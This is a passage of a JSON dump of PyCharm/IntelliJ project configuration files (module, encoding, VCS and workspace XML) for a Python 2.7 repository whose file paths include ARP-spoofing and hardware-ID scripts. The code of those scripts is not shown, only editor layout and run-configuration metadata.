[
  {
    "path": ".idea/Fuck-Tencent.iml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<module type=\"PYTHON_MODULE\" version=\"4\">\n  <component name=\"NewModuleRootManager\">\n    <content url=\"file://$MODULE_DIR$\" />\n    <orderEntry type=\"jdk\" jdkName=\"Python 2.7\" jdkType=\"Python SDK\" />\n    <orderEntry type=\"sourceFolder\" forTests=\"false\" />\n  </component>\n  <component name=\"TestRunnerService\">\n    <option name=\"projectConfiguration\" value=\"Twisted Trial\" />\n    <option name=\"PROJECT_TEST_RUNNER\" value=\"Twisted Trial\" />\n  </component>\n</module>"
  },
  {
    "path": ".idea/encodings.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project version=\"4\">\n  <component name=\"Encoding\" addBOMForNewFiles=\"with NO BOM\">\n    <file url=\"file://$PROJECT_DIR$/macOS&amp;&amp;LinuxPlatform/ARPspoof.py\" charset=\"UTF-8\" />\n  </component>\n</project>"
  },
  {
    "path": ".idea/misc.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project version=\"4\">\n  <component name=\"JavaScriptSettings\">\n    <option name=\"languageLevel\" value=\"ES6\" />\n  </component>\n  <component name=\"ProjectRootManager\" version=\"2\" project-jdk-name=\"Python 2.7\" project-jdk-type=\"Python SDK\" />\n</project>"
  },
  {
    "path": ".idea/modules.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project version=\"4\">\n  <component name=\"ProjectModuleManager\">\n    <modules>\n      <module fileurl=\"file://$PROJECT_DIR$/.idea/Fuck-Tencent.iml\" filepath=\"$PROJECT_DIR$/.idea/Fuck-Tencent.iml\" />\n    </modules>\n  </component>\n</project>"
  },
  {
    "path": ".idea/vcs.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project version=\"4\">\n  <component name=\"VcsDirectoryMappings\">\n    <mapping directory=\"$PROJECT_DIR$\" vcs=\"Git\" />\n  </component>\n</project>"
  },
  {
    "path": ".idea/workspace.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project version=\"4\">\n  <component name=\"ChangeListManager\">\n    <list default=\"true\" id=\"a327a2b7-a635-4b07-afe1-ff36a30a5814\" name=\"Default Changelist\" comment=\"\">\n      <change afterPath=\"$PROJECT_DIR$/.idea/vcs.xml\" afterDir=\"false\" />\n      <change beforePath=\"$PROJECT_DIR$/ARPspoof.py\" beforeDir=\"false\" afterPath=\"$PROJECT_DIR$/macOS&amp;&amp;LinuxPlatform/ARPspoof.py\" afterDir=\"false\" />\n      <change beforePath=\"$PROJECT_DIR$/HWID/HWID.py\" beforeDir=\"false\" afterPath=\"$PROJECT_DIR$/HWID/HWID.py\" afterDir=\"false\" />\n      <change beforePath=\"$PROJECT_DIR$/README.md\" beforeDir=\"false\" afterPath=\"$PROJECT_DIR$/README.md\" afterDir=\"false\" />\n    </list>\n    <option name=\"EXCLUDED_CONVERTED_TO_IGNORED\" value=\"true\" />\n    <option name=\"SHOW_DIALOG\" value=\"false\" />\n    <option name=\"HIGHLIGHT_CONFLICTS\" value=\"true\" />\n    <option name=\"HIGHLIGHT_NON_ACTIVE_CHANGELIST\" value=\"false\" />\n    <option name=\"LAST_RESOLUTION\" value=\"IGNORE\" />\n  </component>\n  <component name=\"FileEditorManager\">\n    <leaf>\n      <file pinned=\"false\" current-in-tab=\"false\">\n        <entry file=\"file://$PROJECT_DIR$/HWID/HWID.py\">\n          <provider selected=\"true\" editor-type-id=\"text-editor\">\n            <state relative-caret-position=\"2565\">\n              <caret line=\"135\" column=\"24\" selection-start-line=\"135\" selection-start-column=\"24\" selection-end-line=\"135\" selection-end-column=\"24\" />\n              <folding>\n                <element signature=\"e#48#57#0\" expanded=\"true\" />\n              </folding>\n            </state>\n          </provider>\n        </entry>\n      </file>\n      <file pinned=\"false\" current-in-tab=\"false\">\n        <entry file=\"file://$PROJECT_DIR$/macOS&amp;&amp;LinuxPlatform/ARPspoof.py\">\n          <provider selected=\"true\" editor-type-id=\"text-editor\">\n            <state relative-caret-position=\"76\">\n              <caret line=\"4\" column=\"11\" selection-start-line=\"4\" selection-start-column=\"11\" selection-end-line=\"4\" selection-end-column=\"11\" />\n            </state>\n          </provider>\n        </entry>\n      </file>\n      <file pinned=\"false\" current-in-tab=\"false\">\n        <entry file=\"file://$PROJECT_DIR$/macOS&amp;&amp;LinuxPlatform/configure.py\">\n          <provider selected=\"true\" editor-type-id=\"text-editor\">\n            <state relative-caret-position=\"247\">\n              <caret line=\"13\" column=\"11\" selection-start-line=\"13\" selection-start-column=\"11\" selection-end-line=\"13\" selection-end-column=\"11\" />\n            </state>\n          </provider>\n        </entry>\n      </file>\n      <file pinned=\"false\" current-in-tab=\"true\">\n        <entry file=\"file://$PROJECT_DIR$/macOS&amp;&amp;LinuxPlatform/multi_process_test.py\">\n          <provider selected=\"true\" editor-type-id=\"text-editor\">\n            <state relative-caret-position=\"-527\">\n              <caret line=\"12\" column=\"3\" selection-start-line=\"12\" selection-start-column=\"3\" selection-end-line=\"12\" selection-end-column=\"3\" />\n              <folding>\n                <element signature=\"e#61#70#0\" expanded=\"true\" />\n              </folding>\n            </state>\n          </provider>\n        </entry>\n      </file>\n      <file pinned=\"false\" current-in-tab=\"false\">\n        <entry file=\"file://$PROJECT_DIR$/macOS&amp;&amp;LinuxPlatform/README.md\">\n          <provider selected=\"true\" editor-type-id=\"split-provider[text-editor;markdown-preview-editor]\">\n            <state split_layout=\"SPLIT\">\n              <first_editor />\n              <second_editor />\n            </state>\n          </provider>\n        </entry>\n      </file>\n      <file pinned=\"false\" current-in-tab=\"false\">\n        <entry file=\"file://$PROJECT_DIR$/macOS&amp;&amp;LinuxPlatform/utils.py\">\n          <provider selected=\"true\" editor-type-id=\"text-editor\" />\n        </entry>\n      </file>\n      <file pinned=\"false\" current-in-tab=\"false\">\n        <entry file=\"file://$PROJECT_DIR$/macOS&amp;&amp;LinuxPlatform/tools.py\">\n          <provider selected=\"true\" editor-type-id=\"text-editor\">\n            <state relative-caret-position=\"38\">\n              <caret line=\"2\" selection-start-line=\"2\" selection-end-line=\"2\" />\n              <folding>\n                <element signature=\"e#18#29#0\" expanded=\"true\" />\n              </folding>\n            </state>\n          </provider>\n        </entry>\n      </file>\n      <file pinned=\"false\" current-in-tab=\"false\">\n        <entry file=\"file://$PROJECT_DIR$/macOS&amp;&amp;LinuxPlatform/start.py\">\n          <provider selected=\"true\" editor-type-id=\"text-editor\" />\n        </entry>\n      </file>\n      <file pinned=\"false\" current-in-tab=\"false\">\n        <entry file=\"file://$PROJECT_DIR$/macOS&amp;&amp;LinuxPlatform/packet_investigate.py\">\n          <provider selected=\"true\" editor-type-id=\"text-editor\" />\n        </entry>\n      </file>\n      <file pinned=\"false\" current-in-tab=\"false\">\n        <entry file=\"file://$PROJECT_DIR$/macOS&amp;&amp;LinuxPlatform/ARP_attack.py\">\n          <provider selected=\"true\" editor-type-id=\"text-editor\">\n            <state relative-caret-position=\"38\">\n              <caret line=\"2\" column=\"23\" selection-start-line=\"2\" selection-start-column=\"23\" selection-end-line=\"2\" selection-end-column=\"23\" />\n            </state>\n          </provider>\n        </entry>\n      </file>\n    </leaf>\n  </component>\n  <component name=\"FindInProjectRecents\">\n    <findStrings>\n      <find>uuid</find>\n    </findStrings>\n  </component>\n  <component name=\"Git.Settings\">\n    <option name=\"RECENT_GIT_ROOT_PATH\" value=\"$PROJECT_DIR$\" />\n  </component>\n  <component name=\"IdeDocumentHistory\">\n    <option name=\"CHANGED_PATHS\">\n      <list>\n        <option value=\"$PROJECT_DIR$/README.md\" />\n        <option value=\"$PROJECT_DIR$/HWID/HWID.py\" />\n      </list>\n    </option>\n  </component>\n  <component name=\"ProjectFrameBounds\" fullScreen=\"true\">\n    <option name=\"width\" value=\"1680\" />\n    <option name=\"height\" value=\"1050\" />\n  </component>\n  <component name=\"ProjectView\">\n    <navigator proportions=\"\" version=\"1\">\n      <foldersAlwaysOnTop value=\"true\" />\n    </navigator>\n    <panes>\n      <pane id=\"Scope\" />\n      <pane id=\"ProjectPane\">\n        <subPane>\n          <expand>\n            <path>\n              <item name=\"Fuck-Tencent\" type=\"b2602c69:ProjectViewProjectNode\" />\n              <item name=\"Fuck-Tencent\" type=\"462c0819:PsiDirectoryNode\" />\n            </path>\n            <path>\n              <item name=\"Fuck-Tencent\" type=\"b2602c69:ProjectViewProjectNode\" />\n              <item name=\"Fuck-Tencent\" type=\"462c0819:PsiDirectoryNode\" />\n              <item name=\"HWID\" type=\"462c0819:PsiDirectoryNode\" />\n            </path>\n            <path>\n              <item name=\"Fuck-Tencent\" type=\"b2602c69:ProjectViewProjectNode\" />\n              <item name=\"Fuck-Tencent\" type=\"462c0819:PsiDirectoryNode\" />\n              <item name=\"macOS&amp;&amp;LinuxPlatform\" type=\"462c0819:PsiDirectoryNode\" />\n            </path>\n          </expand>\n          <select />\n        </subPane>\n      </pane>\n    </panes>\n  </component>\n  <component name=\"PropertiesComponent\">\n    <property name=\"WebServerToolWindowFactoryState\" value=\"false\" />\n    <property name=\"last_opened_file_path\" value=\"$PROJECT_DIR$\" />\n    <property name=\"nodejs_interpreter_path.stuck_in_default_project\" value=\"undefined stuck path\" />\n    <property name=\"nodejs_npm_path_reset_for_default_project\" value=\"true\" />\n    <property name=\"settings.editor.selected.configurable\" value=\"com.jetbrains.python.configuration.PyActiveSdkModuleConfigurable\" />\n  </component>\n  <component name=\"RecentsManager\">\n    <key name=\"MoveFile.RECENT_KEYS\">\n      <recent name=\"$PROJECT_DIR$/macOS&amp;&amp;LinuxPlatform\" />\n    </key>\n  </component>\n  <component name=\"RunDashboard\">\n    <option name=\"ruleStates\">\n      <list>\n        <RuleState>\n          <option name=\"name\" value=\"ConfigurationTypeDashboardGroupingRule\" />\n        </RuleState>\n        <RuleState>\n          <option name=\"name\" value=\"StatusDashboardGroupingRule\" />\n        </RuleState>\n      </list>\n    </option>\n  </component>\n  <component name=\"SvnConfiguration\">\n    <configuration />\n  </component>\n  <component name=\"TaskManager\">\n    <task active=\"true\" id=\"Default\" summary=\"Default task\">\n      <changelist id=\"a327a2b7-a635-4b07-afe1-ff36a30a5814\" name=\"Default Changelist\" comment=\"\" />\n      <created>1552062371915</created>\n      <option name=\"number\" value=\"Default\" />\n      <option name=\"presentableId\" value=\"Default\" />\n      <updated>1552062371915</updated>\n      <workItem from=\"1552062376529\" duration=\"1511000\" />\n    </task>\n    <servers />\n  </component>\n  <component name=\"TimeTrackingManager\">\n    <option name=\"totallyTimeSpent\" value=\"1511000\" />\n  </component>\n  <component name=\"ToolWindowManager\">\n    <frame x=\"0\" y=\"0\" width=\"1680\" height=\"1050\" extended-state=\"0\" />\n    <editor active=\"true\" />\n    <layout>\n      <window_info id=\"Favorites\" side_tool=\"true\" />\n      <window_info active=\"true\" content_ui=\"combo\" id=\"Project\" order=\"0\" visible=\"true\" weight=\"0.24969475\" />\n      <window_info id=\"Structure\" order=\"1\" side_tool=\"true\" weight=\"0.25\" />\n      <window_info anchor=\"bottom\" id=\"Docker\" show_stripe_button=\"false\" />\n      <window_info anchor=\"bottom\" id=\"Database Changes\" />\n      <window_info anchor=\"bottom\" id=\"Version Control\" />\n      <window_info anchor=\"bottom\" id=\"Python Console\" />\n      <window_info anchor=\"bottom\" id=\"Terminal\" />\n      <window_info anchor=\"bottom\" id=\"Event Log\" side_tool=\"true\" />\n      <window_info anchor=\"bottom\" id=\"Message\" order=\"0\" />\n      <window_info anchor=\"bottom\" id=\"Find\" order=\"1\" />\n      <window_info anchor=\"bottom\" id=\"Run\" order=\"2\" />\n      <window_info anchor=\"bottom\" id=\"Debug\" order=\"3\" weight=\"0.4\" />\n      <window_info anchor=\"bottom\" id=\"Cvs\" order=\"4\" weight=\"0.25\" />\n      <window_info anchor=\"bottom\" id=\"Inspection\" order=\"5\" weight=\"0.4\" />\n      <window_info anchor=\"bottom\" id=\"TODO\" order=\"6\" />\n      <window_info anchor=\"right\" id=\"SciView\" />\n      <window_info anchor=\"right\" id=\"Database\" />\n      <window_info anchor=\"right\" id=\"Commander\" internal_type=\"SLIDING\" order=\"0\" type=\"SLIDING\" weight=\"0.4\" />\n      <window_info anchor=\"right\" id=\"Ant Build\" order=\"1\" weight=\"0.25\" />\n      <window_info anchor=\"right\" content_ui=\"combo\" id=\"Hierarchy\" order=\"2\" weight=\"0.25\" />\n    </layout>\n    <layout-to-restore>\n      <window_info id=\"Favorites\" order=\"0\" side_tool=\"true\" />\n      <window_info active=\"true\" content_ui=\"combo\" id=\"Project\" order=\"1\" visible=\"true\" weight=\"0.24969475\" />\n      <window_info id=\"Structure\" order=\"2\" side_tool=\"true\" weight=\"0.25\" />\n      <window_info anchor=\"bottom\" id=\"Docker\" order=\"0\" show_stripe_button=\"false\" />\n      <window_info anchor=\"bottom\" id=\"Terminal\" order=\"1\" />\n      <window_info anchor=\"bottom\" id=\"Event Log\" order=\"2\" side_tool=\"true\" />\n      <window_info anchor=\"bottom\" id=\"Database Changes\" order=\"3\" />\n      <window_info anchor=\"bottom\" id=\"Version Control\" order=\"4\" />\n      <window_info anchor=\"bottom\" id=\"Python Console\" order=\"5\" />\n      <window_info anchor=\"bottom\" id=\"Message\" order=\"6\" />\n      <window_info anchor=\"bottom\" id=\"Find\" order=\"7\" />\n      <window_info anchor=\"bottom\" id=\"Run\" order=\"8\" />\n      <window_info anchor=\"bottom\" id=\"Debug\" order=\"9\" weight=\"0.4\" />\n      <window_info anchor=\"bottom\" id=\"Cvs\" order=\"10\" weight=\"0.25\" />\n      <window_info anchor=\"bottom\" id=\"Inspection\" order=\"11\" weight=\"0.4\" />\n      <window_info anchor=\"bottom\" id=\"TODO\" order=\"12\" />\n      <window_info anchor=\"right\" id=\"Database\" order=\"0\" />\n      <window_info anchor=\"right\" id=\"SciView\" order=\"1\" />\n      <window_info anchor=\"right\" id=\"Commander\" internal_type=\"SLIDING\" order=\"2\" type=\"SLIDING\" weight=\"0.4\" />\n      <window_info anchor=\"right\" id=\"Ant Build\" order=\"3\" weight=\"0.25\" />\n      <window_info anchor=\"right\" content_ui=\"combo\" id=\"Hierarchy\" order=\"4\" weight=\"0.25\" />\n    </layout-to-restore>\n  </component>\n  <component name=\"TypeScriptGeneratedFilesManager\">\n    <option name=\"version\" value=\"1\" />\n  </component>\n  <component name=\"editorHistoryManager\">\n    <entry file=\"file://$PROJECT_DIR$/README.md\">\n      <provider selected=\"true\" editor-type-id=\"split-provider[text-editor;markdown-preview-editor]\">\n        <state split_layout=\"SPLIT\">\n          <first_editor relative-caret-position=\"513\">\n            <caret line=\"27\" column=\"29\" selection-start-line=\"27\" selection-start-column=\"29\" selection-end-line=\"27\" selection-end-column=\"29\" />\n          </first_editor>\n          <second_editor />\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/HWID/HWID.py\">\n      <provider selected=\"true\" editor-type-id=\"text-editor\">\n        <state relative-caret-position=\"2565\">\n          <caret line=\"135\" column=\"24\" selection-start-line=\"135\" selection-start-column=\"24\" selection-end-line=\"135\" selection-end-column=\"24\" />\n          <folding>\n            <element signature=\"e#48#57#0\" expanded=\"true\" />\n          </folding>\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/macOS&amp;&amp;LinuxPlatform/README.md\">\n      <provider selected=\"true\" editor-type-id=\"split-provider[text-editor;markdown-preview-editor]\">\n        <state split_layout=\"SPLIT\">\n          <first_editor />\n          <second_editor />\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/macOS&amp;&amp;LinuxPlatform/utils.py\">\n      <provider selected=\"true\" editor-type-id=\"text-editor\" />\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/macOS&amp;&amp;LinuxPlatform/tools.py\">\n      <provider selected=\"true\" editor-type-id=\"text-editor\">\n        <state relative-caret-position=\"38\">\n          <caret line=\"2\" selection-start-line=\"2\" selection-end-line=\"2\" />\n          <folding>\n            <element signature=\"e#18#29#0\" expanded=\"true\" />\n          </folding>\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/macOS&amp;&amp;LinuxPlatform/start.py\">\n      <provider selected=\"true\" editor-type-id=\"text-editor\" />\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/macOS&amp;&amp;LinuxPlatform/packet_investigate.py\">\n      <provider selected=\"true\" editor-type-id=\"text-editor\" />\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/macOS&amp;&amp;LinuxPlatform/ARP_attack.py\">\n      <provider selected=\"true\" editor-type-id=\"text-editor\">\n        <state relative-caret-position=\"38\">\n          <caret line=\"2\" column=\"23\" selection-start-line=\"2\" selection-start-column=\"23\" selection-end-line=\"2\" selection-end-column=\"23\" />\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/macOS&amp;&amp;LinuxPlatform/ARPspoof.py\">\n      <provider selected=\"true\" editor-type-id=\"text-editor\">\n        <state relative-caret-position=\"76\">\n          <caret line=\"4\" column=\"11\" selection-start-line=\"4\" selection-start-column=\"11\" selection-end-line=\"4\" selection-end-column=\"11\" />\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/macOS&amp;&amp;LinuxPlatform/configure.py\">\n      <provider selected=\"true\" editor-type-id=\"text-editor\">\n        <state relative-caret-position=\"247\">\n          <caret line=\"13\" column=\"11\" selection-start-line=\"13\" selection-start-column=\"11\" selection-end-line=\"13\" selection-end-column=\"11\" />\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/macOS&amp;&amp;LinuxPlatform/multi_process_test.py\">\n      <provider selected=\"true\" editor-type-id=\"text-editor\">\n        <state relative-caret-position=\"-527\">\n          <caret line=\"12\" column=\"3\" selection-start-line=\"12\" selection-start-column=\"3\" selection-end-line=\"12\" selection-end-column=\"3\" />\n          <folding>\n            <element signature=\"e#61#70#0\" expanded=\"true\" />\n          </folding>\n        </state>\n      </provider>\n    </entry>\n  </component>\n  <component name=\"masterDetails\">\n    <states>\n      <state key=\"ScopeChooserConfigurable.UI\">\n        <settings>\n          <splitter-proportions>\n            <option name=\"proportions\">\n              <list>\n                <option value=\"0.2\" />\n              </list>\n            </option>\n          </splitter-proportions>\n        </settings>\n      </state>\n    </states>\n  </component>\n</project>"
  },
  {
    "path": "HWID/.idea/HWID.iml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<module type=\"PYTHON_MODULE\" version=\"4\">\n  <component name=\"NewModuleRootManager\">\n    <content url=\"file://$MODULE_DIR$\" />\n    <orderEntry type=\"inheritedJdk\" />\n    <orderEntry type=\"sourceFolder\" forTests=\"false\" />\n  </component>\n  <component name=\"TestRunnerService\">\n    <option name=\"PROJECT_TEST_RUNNER\" value=\"Unittests\" />\n  </component>\n</module>"
  },
  {
    "path": "HWID/.idea/inspectionProfiles/profiles_settings.xml",
    "content": "<component name=\"InspectionProjectProfileManager\">\n  <settings>\n    <option name=\"useProjectProfile\" value=\"false\" />\n    <option name=\"USE_PROJECT_PROFILE\" value=\"false\" />\n    <version value=\"1.0\" />\n  </settings>\n</component>"
  },
  {
    "path": "HWID/.idea/misc.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project version=\"4\">\n  <component name=\"ProjectRootManager\" version=\"2\" project-jdk-name=\"Python 2.7.10 (/System/Library/Frameworks/Python.framework/Versions/2.7/bin/python2.7)\" project-jdk-type=\"Python SDK\" />\n</project>"
  },
  {
    "path": "HWID/.idea/modules.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project version=\"4\">\n  <component name=\"ProjectModuleManager\">\n    <modules>\n      <module fileurl=\"file://$PROJECT_DIR$/.idea/HWID.iml\" filepath=\"$PROJECT_DIR$/.idea/HWID.iml\" />\n    </modules>\n  </component>\n</project>"
  },
  {
    "path": "HWID/.idea/vcs.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project version=\"4\">\n  <component name=\"VcsDirectoryMappings\">\n    <mapping directory=\"$PROJECT_DIR$/..\" vcs=\"Git\" />\n  </component>\n</project>"
  },
  {
    "path": "HWID/.idea/workspace.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project version=\"4\">\n  <component name=\"ChangeListManager\">\n    <list default=\"true\" id=\"aed64c64-2312-44d6-972f-b365b05aa8d8\" name=\"Default\" comment=\"\">\n      <change type=\"MODIFICATION\" beforePath=\"$PROJECT_DIR$/.idea/workspace.xml\" afterPath=\"$PROJECT_DIR$/.idea/workspace.xml\" />\n    </list>\n    <option name=\"EXCLUDED_CONVERTED_TO_IGNORED\" value=\"true\" />\n    <option name=\"TRACKING_ENABLED\" value=\"true\" />\n    <option name=\"SHOW_DIALOG\" value=\"false\" />\n    <option name=\"HIGHLIGHT_CONFLICTS\" value=\"true\" />\n    <option name=\"HIGHLIGHT_NON_ACTIVE_CHANGELIST\" value=\"false\" />\n    <option name=\"LAST_RESOLUTION\" value=\"IGNORE\" />\n  </component>\n  <component name=\"CoverageDataManager\">\n    <SUITE FILE_PATH=\"coverage/HWID$HWID.coverage\" NAME=\"HWID Coverage Results\" MODIFIED=\"1488180348339\" SOURCE_PROVIDER=\"com.intellij.coverage.DefaultCoverageFileProvider\" RUNNER=\"coverage.py\" COVERAGE_BY_TEST_ENABLED=\"true\" COVERAGE_TRACING_ENABLED=\"false\" WORKING_DIRECTORY=\"$PROJECT_DIR$\" />\n  </component>\n  <component name=\"ExecutionTargetManager\" SELECTED_TARGET=\"default_target\" />\n  <component name=\"FileEditorManager\">\n    <leaf SIDE_TABS_SIZE_LIMIT_KEY=\"300\">\n      <file leaf-file-name=\"HWID.py\" pinned=\"false\" current-in-tab=\"true\">\n        <entry file=\"file://$PROJECT_DIR$/HWID.py\">\n          <provider selected=\"true\" editor-type-id=\"text-editor\">\n            <state relative-caret-position=\"19\">\n              <caret line=\"10\" column=\"49\" lean-forward=\"false\" selection-start-line=\"10\" selection-start-column=\"49\" selection-end-line=\"10\" selection-end-column=\"49\" />\n              <folding>\n                <element signature=\"e#48#57#0\" expanded=\"true\" />\n              </folding>\n            </state>\n          </provider>\n        </entry>\n      </file>\n    </leaf>\n  </component>\n  <component name=\"FileTemplateManagerImpl\">\n    <option name=\"RECENT_TEMPLATES\">\n      <list>\n        <option value=\"Python Script\" />\n      </list>\n    </option>\n  </component>\n  <component name=\"Git.Settings\">\n    <option name=\"RECENT_GIT_ROOT_PATH\" value=\"$PROJECT_DIR$/..\" />\n  </component>\n  <component name=\"IdeDocumentHistory\">\n    <option name=\"CHANGED_PATHS\">\n      <list>\n        <option value=\"$PROJECT_DIR$/HWID.py\" />\n      </list>\n    </option>\n  </component>\n  <component name=\"JsBuildToolGruntFileManager\" detection-done=\"true\" sorting=\"DEFINITION_ORDER\" />\n  <component name=\"JsBuildToolPackageJson\" detection-done=\"true\" sorting=\"DEFINITION_ORDER\" />\n  <component name=\"JsGulpfileManager\">\n    <detection-done>true</detection-done>\n    <sorting>DEFINITION_ORDER</sorting>\n  </component>\n  <component name=\"ProjectFrameBounds\">\n    <option name=\"width\" value=\"1680\" />\n    <option name=\"height\" value=\"1050\" />\n  </component>\n  <component name=\"ProjectLevelVcsManager\" settingsEditedManually=\"true\" />\n  <component name=\"ProjectView\">\n    <navigator proportions=\"\" version=\"1\">\n      <flattenPackages />\n      <showMembers />\n      <showModules />\n      <showLibraryContents />\n      <hideEmptyPackages />\n      <abbreviatePackageNames />\n      <autoscrollToSource />\n      <autoscrollFromSource />\n      <sortByType />\n      <manualOrder />\n      <foldersAlwaysOnTop value=\"true\" />\n    </navigator>\n    <panes />\n  </component>\n  <component name=\"PropertiesComponent\">\n    <property name=\"WebServerToolWindowFactoryState\" value=\"false\" />\n    <property name=\"FullScreen\" value=\"true\" />\n    <property name=\"node.js.path.for.package.jscs\" value=\"project\" />\n    <property name=\"node.js.selected.package.jscs\" value=\"\" />\n    <property name=\"node.js.path.for.package.eslint\" value=\"project\" />\n    <property name=\"node.js.selected.package.eslint\" value=\"\" />\n    <property name=\"node.js.path.for.package.standard\" value=\"project\" />\n    <property name=\"node.js.selected.package.standard\" value=\"\" />\n  </component>\n  <component name=\"RunDashboard\">\n    <option name=\"ruleStates\">\n      <list>\n        <RuleState>\n          <option name=\"name\" value=\"ConfigurationTypeDashboardGroupingRule\" />\n        </RuleState>\n        <RuleState>\n          <option name=\"name\" value=\"StatusDashboardGroupingRule\" />\n        </RuleState>\n      </list>\n    </option>\n  </component>\n  <component name=\"RunManager\" selected=\"Python.HWID\">\n    <configuration default=\"false\" name=\"HWID\" type=\"PythonConfigurationType\" factoryName=\"Python\" temporary=\"true\">\n      <option name=\"INTERPRETER_OPTIONS\" value=\"\" />\n      <option name=\"PARENT_ENVS\" value=\"true\" />\n      <envs>\n        <env name=\"PYTHONUNBUFFERED\" value=\"1\" />\n      </envs>\n      <option name=\"SDK_HOME\" value=\"\" />\n      <option name=\"WORKING_DIRECTORY\" value=\"$PROJECT_DIR$\" />\n      <option name=\"IS_MODULE_SDK\" value=\"true\" />\n      <option name=\"ADD_CONTENT_ROOTS\" value=\"true\" />\n      <option name=\"ADD_SOURCE_ROOTS\" value=\"true\" />\n      <module name=\"HWID\" />\n      <EXTENSION ID=\"PythonCoverageRunConfigurationExtension\" enabled=\"false\" sample_coverage=\"true\" runner=\"coverage.py\" />\n      <option name=\"SCRIPT_NAME\" value=\"$PROJECT_DIR$/HWID.py\" />\n      <option name=\"PARAMETERS\" value=\"\" />\n      <option name=\"SHOW_COMMAND_LINE\" value=\"false\" />\n      <option name=\"EMULATE_TERMINAL\" value=\"false\" />\n      <method />\n    </configuration>\n    <configuration default=\"true\" type=\"DjangoTestsConfigurationType\" factoryName=\"Django tests\">\n      <option name=\"INTERPRETER_OPTIONS\" value=\"\" />\n      <option name=\"PARENT_ENVS\" value=\"true\" />\n      <envs>\n        <env name=\"PYTHONUNBUFFERED\" value=\"1\" />\n      </envs>\n      <option name=\"SDK_HOME\" value=\"\" />\n      <option name=\"WORKING_DIRECTORY\" value=\"\" />\n      <option name=\"IS_MODULE_SDK\" value=\"false\" />\n      <option name=\"ADD_CONTENT_ROOTS\" value=\"true\" />\n      <option name=\"ADD_SOURCE_ROOTS\" value=\"true\" />\n      <module name=\"HWID\" />\n      <EXTENSION ID=\"PythonCoverageRunConfigurationExtension\" enabled=\"false\" sample_coverage=\"true\" runner=\"coverage.py\" />\n      <option name=\"TARGET\" value=\"\" />\n      <option name=\"SETTINGS_FILE\" value=\"\" />\n      <option name=\"CUSTOM_SETTINGS\" value=\"false\" />\n      <option name=\"USE_OPTIONS\" value=\"false\" />\n      <option name=\"OPTIONS\" value=\"\" />\n      <method />\n    </configuration>\n    <configuration default=\"true\" type=\"JavaScriptTestRunnerProtractor\" factoryName=\"Protractor\">\n      <config-file value=\"\" />\n      <node-interpreter value=\"project\" />\n      <envs />\n      <method />\n    </configuration>\n    <configuration default=\"true\" type=\"JavascriptDebugType\" factoryName=\"JavaScript Debug\">\n      <method />\n    </configuration>\n    <configuration default=\"true\" type=\"PyBehaveRunConfigurationType\" factoryName=\"Behave\">\n      <option name=\"INTERPRETER_OPTIONS\" value=\"\" />\n      <option name=\"PARENT_ENVS\" value=\"true\" />\n      <envs />\n      <option name=\"SDK_HOME\" value=\"\" />\n      <option name=\"WORKING_DIRECTORY\" value=\"\" />\n      <option name=\"IS_MODULE_SDK\" value=\"false\" />\n      <option name=\"ADD_CONTENT_ROOTS\" value=\"true\" />\n      <option name=\"ADD_SOURCE_ROOTS\" value=\"true\" />\n      <module name=\"HWID\" />\n      <EXTENSION ID=\"PythonCoverageRunConfigurationExtension\" enabled=\"false\" sample_coverage=\"true\" runner=\"coverage.py\" />\n      <option name=\"ADDITIONAL_ARGS\" value=\"\" />\n      <method />\n    </configuration>\n    <configuration default=\"true\" type=\"PyLettuceRunConfigurationType\" factoryName=\"Lettuce\">\n      <option name=\"INTERPRETER_OPTIONS\" value=\"\" />\n      <option name=\"PARENT_ENVS\" value=\"true\" />\n      <envs />\n      <option name=\"SDK_HOME\" value=\"\" />\n      <option name=\"WORKING_DIRECTORY\" value=\"\" />\n      <option name=\"IS_MODULE_SDK\" value=\"false\" />\n      <option name=\"ADD_CONTENT_ROOTS\" value=\"true\" />\n      <option name=\"ADD_SOURCE_ROOTS\" value=\"true\" />\n      <module name=\"HWID\" />\n      <EXTENSION ID=\"PythonCoverageRunConfigurationExtension\" enabled=\"false\" sample_coverage=\"true\" runner=\"coverage.py\" />\n      <option name=\"ADDITIONAL_ARGS\" value=\"\" />\n      <method />\n    </configuration>\n    <configuration default=\"true\" type=\"PythonConfigurationType\" factoryName=\"Python\">\n      <option name=\"INTERPRETER_OPTIONS\" value=\"\" />\n      <option name=\"PARENT_ENVS\" value=\"true\" />\n      <envs>\n        <env name=\"PYTHONUNBUFFERED\" value=\"1\" />\n      </envs>\n      <option name=\"SDK_HOME\" value=\"\" />\n      <option name=\"WORKING_DIRECTORY\" value=\"\" />\n      <option name=\"IS_MODULE_SDK\" value=\"false\" />\n      <option name=\"ADD_CONTENT_ROOTS\" value=\"true\" />\n      <option name=\"ADD_SOURCE_ROOTS\" value=\"true\" />\n      <module name=\"HWID\" />\n      <EXTENSION ID=\"PythonCoverageRunConfigurationExtension\" enabled=\"false\" sample_coverage=\"true\" runner=\"coverage.py\" />\n      <option name=\"SCRIPT_NAME\" value=\"\" />\n      <option name=\"PARAMETERS\" value=\"\" />\n      <option name=\"SHOW_COMMAND_LINE\" value=\"false\" />\n      <option 